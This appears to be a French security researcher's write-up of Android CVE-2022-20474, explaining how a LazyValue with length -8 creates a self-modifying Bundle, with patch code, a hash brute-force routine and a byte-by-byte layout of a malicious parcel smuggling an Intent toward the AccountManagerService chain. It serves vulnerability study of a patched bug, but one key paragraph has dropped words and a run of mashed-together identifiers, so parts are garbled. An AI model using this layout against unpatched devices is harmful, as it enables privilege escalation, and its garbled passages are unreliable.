
Analyse technique détaillée et preuve de concept pour CVE-2022-20474 sur Android, une vulnérabilité d'inadéquation de Bundle exploitant LazyValue avec une longueur négative pour obtenir un comportement de Bundle auto-modifiable.
Note : avant de lire cet article, il est conseillé d'avoir une compréhension de base des vulnérabilités de décalage de Bundle. Si vous n'avez pas encore lu les documents suivants, veuillez d'abord les consulter :
Récemment, j'étudie attentivement l'article LeakValue de michalbednarski. En discutant avec Canyie, il a mentionné que cet article évoquait également un cas de Bundle auto-modifié dans le scénario LazyValue. Je suis donc allé chercher le texte original, et effectivement il y avait ce passage, que j'avais directement omis lors de ma lecture de l'article de Michal. L'original dit :
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal faisait probablement référence à CVE-2022-20474 (bulletin, patch). J'ai jeté un coup d'œil au patch, mais la fonction dans le lien du patch n'était pas très complète. Je l'ai complétée et examinée attentivement :
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
objectLength dans le code correspond à length du LazyValue. En fait, ce n'est que la longueur de l'objet variable contenu dans LazyValue, tandis que la longueur totale du LazyValue doit être contrôlée par le champ mLength, c'est-à-dire valueLength dans le code, qui est passé à mLength dans le constructeur de LazyValue.
Comparons avec la disposition de LazyValue :
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
Sur la base de ce qui précède, nous pouvons obtenir les faits suivants :
mLength représente la longueur totale du LazyValue ; mLength = objectLength + 8 octets.objectLength doit être supérieur ou égal à 0.LazyValue ne stocke que mLength, pas objectLength, car la copie mémoire de LazyValue est basée sur l'objet entier.LazyValue soit à nouveau lu.Ensuite, après mûre réflexion, nous sommes arrivés à la conclusion que ces faits ne sont d'aucune utilité ! Car, sur la base des faits ci-dessus, une seule modification peut être effectuée lors de la lecture. Or, nous savons que l'idée centrale d'un Bundle auto-modifié est de modifier après la lecture, afin de contourner les vérifications de sécurité.
Au moment où nous étions sur le point d'abandonner, nous avons soudainement remarqué quelques détails dans la description du patch :
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the start of the value, and be re-read again.
objectLength anormalIl y est mentionné que lorsque objectLength vaut -8, des problèmes se posent, ce qui nous donne des indices supplémentaires. Dans ce cas, LazyValue peut-il encore être appliqué normalement ?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
On voit que le readValue réel commence à mPosition, puis lit LazyType et objectLength, avant d'entrer dans le flux normal de lecture de Value. Par exemple, un Parcelable doit lire ClassName, puis exécuter createFromParcel. Une fois la lecture terminée, il n'y a aucune différence avec un Key-Value normal, et cela n'affecte pas la sérialisation ultérieure. Reconsidérons : l'idée centrale d'un Bundle auto-modifié est de modifier après la lecture. Ici, ce n'est qu'une simple lecture hors limites, donc cette direction semble inefficace.
Alors, que se passe-t-il si LazyValue n'est pas appliqué pendant ce processus, c'est-à-dire s'il continue à participer à l'IPC en tant que LazyValue ? Dans ce cas, sa fonction writeToParcel est appelée :
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
L'ensemble du LazyValue est directement copié, sauf si mLength = 0. Attendez ! Plus haut nous avons mentionné que mLength = objectLength + 8 octets. D'après les informations du patch, pour déclencher la vulnérabilité, objectLength doit être -8, donc mLength = 0 est vrai. Autrement dit, dans ce scénario, tout le LazyValue disparaît, seule la clé String est copiée, ce qui entraîne une écriture manquante, et la condition pour un Bundle auto-modifié est directement remplie.
Maintenant que nous connaissons la cause, nous pouvons commencer à reproduire. Cependant, avant cela, nous avons besoin de quelques détails supplémentaires.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
Nous savons tous que la disposition mémoire de Bundle est approximativement la suivante :
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC est le nombre magique de Bundle dans la disposition mémoire, il peut être BUNDLE_MAGIC ou BUNDLE_MAGIC_NATIVE. La différence la plus importante est que BUNDLE_MAGIC provoque un réordonnancement des Key-Value après la désérialisation, comme le montre le code suivant :
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
Le drapeau MAGIC affecte finalement la valeur de sorted dans readArrayMap, ce qui entraîne le tri de la carte. Les commentaires indiquent également que la méthode de tri est basée sur la valeur de hachage de la clé String.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
Imaginons à nouveau le flux d'analyse de ArrayMap. Lors du premier tour d'analyse, Key1 est d'abord analysé, puis on tente d'analyser LazyValue1. Mais objectLength de LazyValue1 est -8, donc le pointeur de parcel revient au début de LazyValue1, c'est-à-dire au point a, ce qui correspond au point 4 mentionné plus haut. À ce stade, la première paire Key-Value a été analysée. La deuxième paire Key-Value commence à être analysée à partir du point a. On lit d'abord la longueur de String. Supposons que LazyValue1 contienne un Parcelable, alors cette longueur doit être 4. Par conséquent, le vrai Key2 commence au point , c'est-à-dire = + . ne contient aucune donnée, donc sa longueur est de 8 octets ( + ). La longueur totale de la est de 4 (indicateur de longueur) + 4 * 2 + 4 ("\0") = 16 octets. En supprimant les 8 octets de , nous devons ajouter 8 octets supplémentaires lors de la construction, soit 2 . Ensuite, on lit . Ainsi, lors de la première analyse, nous avons besoin d'une paire pour gérer le problème de pointeur avancé causé par un avec négatif. La valeur de n'a pas d'importance, car elle n'est utilisée que lors de la première analyse ; ce n'est qu'un outil temporaire. Puisqu'il s'agit d'un outil à usage unique, j'aimerais qu'après la première analyse, il soit éloigné de nos données critiques, et que contienne nos données malveillantes. Il est préférable que la valeur de hachage de soit supérieure à celle de , de sorte qu'elle n'affecte pas l'analyse suivante. Grâce au , nous pouvons ajuster la valeur de hachage de pour atteindre cet objectif, ce que nous aborderons en détail dans le . Ensuite, nous passons à l'analyse de . Comme d'habitude pour un , contient un avec un malveillant, mais a quelques restrictions supplémentaires. Après la première désérialisation, la disposition de devrait être la suivante, avec l'outil rejeté à la fin :
Key1-Value1 | Key3-Value3 | Key2-Value2
Comme mentionné dans la section objectLength anormal, la longueur de LazyValue1 est de 0, donc lors de writeToParcel, il n'est pas du tout copié ! La disposition réelle est la suivante :
Key1 | Key3-Value3 | Key2-Value2
Après avoir lu Key1, il reste encore à lire Value1, ce qui entraîne une nouvelle lecture hors limites. Key3 doit alors assumer le rôle de lecture de LazyValue1. Le premier int de Key3 doit servir à la fois de longueur de String et de type LazyValue. Cela signifie que la longueur de Key3 ne peut pas être trop courte, sinon le calcul du hachage est difficile. En regardant la liste des types LazyValue, j'ai choisi :
private static final int VAL_LIST = 11; // length-prefixed
Bien sûr, vous pouvez aussi choisir 12, 16, 17, etc., du moment que ce n'est pas trop court.
Le deuxième int de Key3 doit également servir de Length du LazyValue. Grâce à lui, nous pouvons contrôler la longueur de LazyValue1 et pointer le pointeur suivant vers le début de l'Intent malveillant. Vous dites que le contenu de LazyValue1 n'est pas valide ? Cela n'a pas d'importance, tant que vous n'appelez pas getXXX pour l'applique, il reste un LazyValue.
Il suffit d'écrire un générateur de force brute :
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
Bien sûr, nous pourrions aussi forcer la brute sur Key2 pour le placer devant, mais la longueur de Key2 est fixée à 4, ce qui est court et laisse moins de place à la manipulation. Key3, en revanche, a été conçu avec une certaine marge pour faciliter la force brute. Supposons que notre Key1 soit la chaîne "Cxxsheng". Nous voulons que la valeur de hachage de Key3 soit légèrement supérieure à celle de "Cxxsheng" ; j'ai défini un delta de 1 000 000, afin qu'ils aient une forte probabilité de rester ensemble, empêchant Key2 de s'intercaler. Comme mentionné plus haut, les deux premiers int de la String sont fixes. Nous écrivons donc d'abord VAL_LIST (qui est aussi la longueur de String). Nous calculons qu'il reste 32 octets avant l'Intent malveillant. Les quelques 0 restants peuvent être utilisés pour la force brute. Il suffit de choisir au hasard deux valeurs pour la force brute.
En utilisant number1 et number2, nous pouvons contrôler le tri de la troisième valeur dans ArrayMap. Comme ArrayMap trie selon le hashcode de la clé, cela permet à la troisième valeur de devenir la deuxième après la désérialisation, juste derrière la première clé "Cxxsheng", comme suit :
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[chaîne corrompue]=[ByteArray malveillant], [chaîne corrompue]=0}]
On voit que l'ordre de lecture sera également différent de l'ordre d'écriture. Après l'écriture, comme analysé plus haut, tout le LazyValue est perdu, tandis que la troisième Key-Value est réordonnée en deuxième, incluant type et objectLength. Ainsi, la disposition de la page devient la suivante :
Les lecteurs peuvent utiliser la chaîne d'exploitation classique AccountManagerService. Quant à la possibilité d'exploitation, cet article ne s'étendra pas, car cela dépend de l'existence de la fonction checkKeyIntentParceledCorrectly dans le patch de novembre 2022. Pour information, cette fonction utilise un flux d'appel IPC simulé pour bloquer la chaîne d'exploitation AccountManagerService. Par conséquent, même en présence d'un Mismatch sur Android 12 ou 13, l'exploitation peut ne pas être possible ; il faut trouver un moyen de contourner cette fonction.
Nous pouvons reproduire cette fonction pour simuler le flux d'appel IPC comme suit :
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); // ici on peut voir les données parcel en débogage
// marshall ne change pas le pointeur de Parcel
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
Ensuite, admirez le journal de sortie du flux d'appel IPC simulé ; pour plus de détails, référez-vous à mon code Github :

Key2LazyValue1FakeKey2LazyValue1LazyTypeobjectLengthStringLazyValue1writeIntValue2Key2-Value2LazyValue1objectLengthKey2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3ByteArrayIntentKey3ArrayMapKey2-Value2| Valeur | Description |
|---|
| "Cxxsheng" | Première clé |
| 4 | Sera lue deux fois : la première fois représente VAL_PARCELABLE ; la deuxième fois devient la longueur de la String de la deuxième clé |
| -8 | Sera lue deux fois : la première fois représente objectLength de LazyValue, ce qui fait reculer le pointeur de lecture, provoquant deux lectures ; la deuxième fois devient la valeur de la String de la deuxième clé |
| 0 | Valeur de la String de la deuxième clé |
| 0 | Valeur de la String de la deuxième clé |
| 1 | VAL_INTEGER |
| 0 | Deuxième valeur |
| 11 | Longueur de la String de la troisième clé |
| 32 | Valeur de la String de la troisième clé |
| 0 | Valeur de la String de la troisième clé |
| 0 | Valeur de la String de la troisième clé |
| number1 | Valeur de la String de la troisième clé, ces deux valeurs servent à ajuster le tri |
| number2 | Valeur de la String de la troisième clé, ces deux valeurs servent à ajuster le tri |
| 0 | Valeur de la String de la troisième clé |
| 13 | VAL_BYTEARRAY |
| Longueur de LazyValue | Calculée |
| Longueur de ByteArray | Calculée |
| ByteArray | Contient la Key-Value malveillante, c'est-à-dire Intent.EXTRA_INTENT et son Intent |
| Valeur | Description |
|---|
| "Cxxsheng" | Première clé |
| 11 | VAL_LIST |
| 32 | Longueur de la première valeur ; la validité du reste n'a plus d'importance (de toute façon ce LazyValue ne sera pas appliqué), pointe directement vers le début de l'Intent malveillant dans le ByteArray |
| 0 | Valeur dans LazyValue |
| 0 | Valeur dans LazyValue |
| number1 | Valeur dans LazyValue |
| number2 | Valeur dans LazyValue |
| 0 | Valeur dans LazyValue |
| 13 | Valeur dans LazyValue |
| Longueur de LazyValue | Valeur dans LazyValue |
| Longueur de ByteArray | Valeur dans LazyValue |
Début de ByteArray / Intent.EXTRA_INTENT | Deuxième clé |
| Intent | Deuxième valeur |
| Troisième Key-Value | Reléguée à la fin |